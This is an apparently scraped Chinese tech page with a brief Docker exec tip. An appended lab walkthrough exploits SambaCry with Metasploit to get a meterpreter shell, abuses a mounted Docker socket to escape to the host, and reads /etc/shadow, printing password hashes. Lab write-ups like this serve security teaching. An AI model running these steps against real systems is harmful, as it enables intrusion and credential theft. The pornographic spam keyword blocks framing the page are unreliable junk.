婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 在宿主機上執行docker容器內部的shell或程序方式

在宿主機上執行docker容器內部的shell或程序方式

熱門標簽:中國地圖標注上各個省 撫州市城區地圖標注 電銷智能機器人試用 高德地圖標注足跡怎么打標 新鄉牧野400電話申請 百度地圖底圖標注 企業辦理400電話收費標準 智能電銷機器人真的有用么 激光標記地圖標注

為了避免反復進入docker容器內部操作,可以將一系列容器內部的指令由宿主機來操作完成。

在宿主機(作者主機為windows7)上執行centos容器(name為centos-1)中/usr目錄下的“printer”可執行程序,該程序輸出為打印“123”。

C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123

成功。

補充知識:利用Docker容器的不安全部署獲取宿主機權限

前言

濫用容器( container)及逃逸的方法有多種,本文將討論最基本的一種,即濫用docker socket來逃逸容器并在宿主機上以root身份執行代碼。

實驗環境設置

由于我們將使用容器,因此你必須安裝docker。

創建網絡

首先,我們在創建容器的地方創建一個docker網絡:

docker network create pwnage

啟動易受攻擊的容器

在本示例中,我將使用受SambaCry漏洞(CVE-2017-7494)影響的容器。有關該漏洞的更多信息,可以參閱opsxcq/exploit-CVE-2017-7494。

此漏洞允許你在Samba服務器中遠程代碼執行,我們將docker socket添加到容器中,以下是一個濫用docker的示例。

docker run --rm -it \

    --name vulnerable \

    --network pwnage \

    -v '/var/run/docker.sock:/var/run/docker.sock' \

    vulnerables/cve-2017-7494

啟動攻擊機

實驗環境設置完成后,接下來我們需要將攻擊者的主機添加到網絡中。Samba Cry存儲庫中有一個漏洞利用代碼,但這里我將使用Metasploit,因為它更容易上傳我所需的內容。

我已經為此構建了一個映像,只需運行bellow命令,所有內容都將根據實驗環境需要運行:

docker run --rm -it \

    --network pwnage \

    -v '/usr/bin/docker:/docker:ro' \

    strm/metasploit

加載完成后,你將看到如下界面。

攻擊利用

信息收集

在任何攻擊或測試中,信息收集都是必不可少的一個環節。因此,讓我們先來ping下易受攻擊的容器檢查下當前的連接情況。

ping -c 2 vulnerable

如果一切正常,你應該能看到以下輸出信息。

msf5 > ping -c 2 vulnerable 
[*] exec: ping -c 2 vulnerable 
 
PING vulnerable (172.20.0.2) 56(84) bytes of data.
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms
64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms
 
--- vulnerable ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms

然后,我們進行基本的smb共享枚舉:

use auxiliary/scanner/smb/smb_enumshares
set rhosts vulnerable
run

輸出結果如下:

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable
rhosts => vulnerable
msf5 auxiliary(scanner/smb/smb_enumshares) > run
 
[+] 172.20.0.2:139    - data - (DS) Data
[+] 172.20.0.2:139    - IPC$ - (I) IPC Service (Crying samba)
[*] vulnerable:      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到,這個samba服務器中有一個名為data的共享。

獲取shell

下一步我們要做的是,針對宿主機運行漏洞利用程序獲取shell。在Metasploit中,該漏洞名為is_known_pipename,位于exploit/linux/samba/is_known_pipename。

運行bellow命令攻擊宿主機:

use exploit/linux/samba/is_known_pipename
set RHOST vulnerable
set RPORT 445
set payload linux/x64/meterpreter/bind_tcp
set TARGET 3
set SMB_FOLDER data
set SMBUser sambacry
set SMBPass nosambanocry
exploit

如果一切順利,你將獲取到一個meterpreter shell。如下:

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable
RHOST => vulnerable
msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445
RPORT => 445
msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3
TARGET => 3
msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data
SMB_FOLDER => data
msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry
SMBUser => sambacry
msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry
SMBPass => nosambanocry
msf5 exploit(linux/samba/is_known_pipename) > exploit
 
[*] vulnerable:445 - Using location \\vulnerable\data\ for the path
[*] vulnerable:445 - Retrieving the remote path of the share 'data'
[*] vulnerable:445 - Share 'data' has server-side path '/data
[*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so...
[-] vulnerable:445 -  >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so...
[-] vulnerable:445 -  >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] Started bind TCP handler against vulnerable:4444
[*] Sending stage (816260 bytes) to vulnerable
 
meterpreter >

提權

我們將通過濫用容器內可用的docker socket來提權。由于docker在宿主機上是以root身份運行的,因此它也具有root權限。我們可以濫用它來執行多項操作。例如,使用—privileged選項可以為我們提供許多擴展功能,以下是從docker官方文檔中提取的解釋文本:

默認情況下,Docker的容器是沒有特權的,例如不能在容器中再啟動一個容器。這是因為默認情況下容器是不能訪問任何其它設備的。但是通過”privileged”,容器就擁有了訪問任何其它設備的權限。當操作者執行docker run —privileged時,Docker將擁有訪問主機所有設備的權限,同時Docker也會在apparmor或者selinux做一些設置,使容器可以容易的訪問那些運行在容器外部的設備。

你可以使用—device選項訪問設備。但在本示例中,我將映射toor文件系統 (/) 到容器中并訪問它。

由于此容器中沒有docker客戶端,因此下一步我們要做的就是在目標容器中設置docker客戶端及其依賴項。你只需運行以下命令,即可完成所有這些操作。

upload /docker /docker
upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
chmod 777 /docker
chmod +x /docker
meterpreter > upload /docker /docker
[*] uploading : /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker
[*] uploaded  : /docker -> /docker
meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploading : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
[*] uploaded  : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7
meterpreter > chmod 777 /docker
meterpreter > chmod +x /docker
meterpreter >

現在,我們就可以使用docker來訪問宿主機上的文件系統了。\

execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"

我們來轉儲下本地用戶的哈希,輸出結果如下:

meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
Process 113 created.
Channel 13 created.
root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7:::
daemon:*:17488:0:99999:7:::
bin:*:17488:0:99999:7:::
sys:*:17488:0:99999:7:::
sync:*:17488:0:99999:7:::
games:*:17488:0:99999:7:::
man:*:17488:0:99999:7:::
lp:*:17488:0:99999:7:::
mail:*:17488:0:99999:7:::
news:*:17488:0:99999:7:::

以上這篇在宿主機上執行docker容器內部的shell或程序方式就是小編分享給大家的全部內容了,希望能給大家一個參考,也希望大家多多支持腳本之家。

標簽:邯鄲 南通 辛集 海西 延安 忻州 臨汾 西安

巨人網絡通訊聲明:本文標題《在宿主機上執行docker容器內部的shell或程序方式》,本文關鍵詞  在,宿主,機上,執行,docker,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《在宿主機上執行docker容器內部的shell或程序方式》相關的同類信息!
  • 本頁收集關于在宿主機上執行docker容器內部的shell或程序方式的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    国产精品18久久久久久久久 | 亚洲免费在线视频一区 二区| 欧美精品123区| 国产日韩亚洲欧美综合| 欧美日韩国产精品成人| 欧美最猛黑人xxxxx猛交| 成人动漫精品一区二区| 国内精品视频一区二区三区八戒| 亚洲高清久久久| 亚洲猫色日本管| 中文字幕一区二区三区不卡在线| 日韩av高清在线观看| 国产精品18久久久久久vr | 热久久久久久久| 一区二区三区在线免费播放| 国产精品久久三区| 国产欧美一区二区三区沐欲| 国产亚洲短视频| 久久久久久9999| 欧美高清在线一区二区| 国产女人18毛片水真多成人如厕| 国产欧美一区二区精品性色超碰| 2024国产精品视频| 国产欧美精品在线观看| 国产精品福利一区二区| 国产精品国产三级国产aⅴ原创 | 91麻豆精品久久久久蜜臀 | 精品一区二区在线看| 久久成人综合网| 制服.丝袜.亚洲.中文.综合| 欧美久久久久中文字幕| 欧美videos中文字幕| 国产亚洲精品7777| 亚洲 欧美综合在线网络| 婷婷综合五月天| 久国产精品韩国三级视频| 极品少妇xxxx精品少妇| 成人听书哪个软件好| 色哟哟精品一区| 色综合久久精品| 在线免费不卡视频| 欧美一区二区大片| 久久久久久久久久久黄色| 亚洲欧美中日韩| 亚洲狠狠爱一区二区三区| 青草国产精品久久久久久| 国产精品99久久久久久似苏梦涵| 成人国产精品免费观看视频| 欧美日韩一区二区欧美激情| 日韩精品一区二区三区视频在线观看| 国产色爱av资源综合区| 亚洲成人av电影在线| 国产成人啪免费观看软件| 欧美亚一区二区| 国产亚洲成aⅴ人片在线观看| 亚洲一区二区三区四区在线观看 | 欧美成人综合网站| 国产精品免费人成网站| 欧美精选一区二区| 国产精品沙发午睡系列990531| 亚洲444eee在线观看| 高清在线观看日韩| 欧美夫妻性生活| 亚洲欧洲日韩在线| 国产一区二区不卡老阿姨| 欧美午夜电影网| 国产亚洲一区字幕| 91精品久久久久久久99蜜桃| 在线欧美小视频| 国产亚洲自拍一区| 看电视剧不卡顿的网站| 91福利在线观看| 日本一区二区综合亚洲| 久久99国内精品| 欧美日韩不卡一区| 综合久久一区二区三区| 国产成人在线看| 欧美成人猛片aaaaaaa| 亚洲mv大片欧洲mv大片精品| 97久久精品人人爽人人爽蜜臀| 精品国产露脸精彩对白 | 日韩毛片在线免费观看| 国产乱对白刺激视频不卡| 91精品国产综合久久久蜜臀粉嫩 | 538在线一区二区精品国产| 欧美亚洲一区二区在线| 亚洲丝袜制服诱惑| 91免费在线播放| 国产精品久久看| 成人av在线影院| 中文字幕av免费专区久久| 加勒比av一区二区| 久久久不卡网国产精品一区| 极品少妇xxxx精品少妇| 欧美成人女星排行榜| 成人爱爱电影网址| 在线视频综合导航| 亚洲情趣在线观看| 色婷婷综合激情| 一区二区三区波多野结衣在线观看| 成人免费看黄yyy456| 国产三级精品三级| 成人国产精品免费网站| 日韩美女久久久| 欧美色视频一区| 欧美性大战久久久| 亚洲成人午夜影院| 欧美高清性hdvideosex| 秋霞av亚洲一区二区三| 精品国产乱码久久久久久1区2区 | 日韩一二三四区| 韩国三级中文字幕hd久久精品| 久久青草欧美一区二区三区| 国产精品久久777777| 色综合久久99| 亚洲成人综合网站| 日韩欧美国产小视频| 国产麻豆一精品一av一免费| 国产精品传媒视频| 9191精品国产综合久久久久久| 国产精品123区| 一级特黄大欧美久久久| 日韩一区二区三区在线观看| 国产高清亚洲一区| 三级欧美韩日大片在线看| 91麻豆成人久久精品二区三区| 亚洲成人福利片| 久久久综合视频| 91视视频在线直接观看在线看网页在线看| 亚洲男人电影天堂| 日韩精品一区二| 成人97人人超碰人人99| 日韩制服丝袜先锋影音| 国产农村妇女精品| 欧美剧情片在线观看| 国产高清在线观看免费不卡| 夜夜揉揉日日人人青青一国产精品| 欧美一区欧美二区| 91玉足脚交白嫩脚丫在线播放| 日本成人超碰在线观看| 亚洲三级在线免费| xnxx国产精品| 欧美久久一二三四区| 欧美日韩成人高清| 欧美一区二区三区成人| 91蜜桃传媒精品久久久一区二区| 青娱乐精品视频在线| 一区二区三区国产精华| 麻豆国产精品一区二区三区| 亚洲男人天堂一区| 国产精品热久久久久夜色精品三区 | 蜜臀av性久久久久蜜臀av麻豆 | 国产欧美日韩卡一| 亚洲乱码中文字幕| 国产不卡视频一区| 久久国产尿小便嘘嘘尿| 亚洲地区一二三色| 亚洲视频在线观看三级| 欧美国产亚洲另类动漫| 欧美岛国在线观看| 欧美电影一区二区三区| 日本韩国欧美国产| 99久久精品99国产精品| 国产成人免费视频网站 | 91丨九色丨蝌蚪富婆spa| 国产成人免费在线观看| 国产精品一区二区x88av| 国内精品久久久久影院薰衣草 | 成人久久久精品乱码一区二区三区| 日韩成人免费电影| 午夜国产精品一区| 亚洲亚洲精品在线观看| 亚洲欧洲中文日韩久久av乱码| 中文字幕av一区二区三区免费看| 国产三级精品视频| 不卡视频一二三四| 国产成a人无v码亚洲福利| 成人动漫视频在线| 久久久av毛片精品| 久久久久久久综合色一本| 精品理论电影在线观看| 久久久久久久网| 欧美激情一二三区| 日韩毛片在线免费观看| 一区二区三区欧美| 视频一区中文字幕| 精品在线观看视频| 成人免费视频一区二区| eeuss鲁片一区二区三区| 大尺度一区二区| 国产精品一区一区| 成人精品亚洲人成在线| 99久免费精品视频在线观看| 91国偷自产一区二区开放时间| 欧美男生操女生| 日韩免费高清av| 国产精品色在线| 亚洲一区二区欧美日韩| 蜜芽一区二区三区| 福利电影一区二区|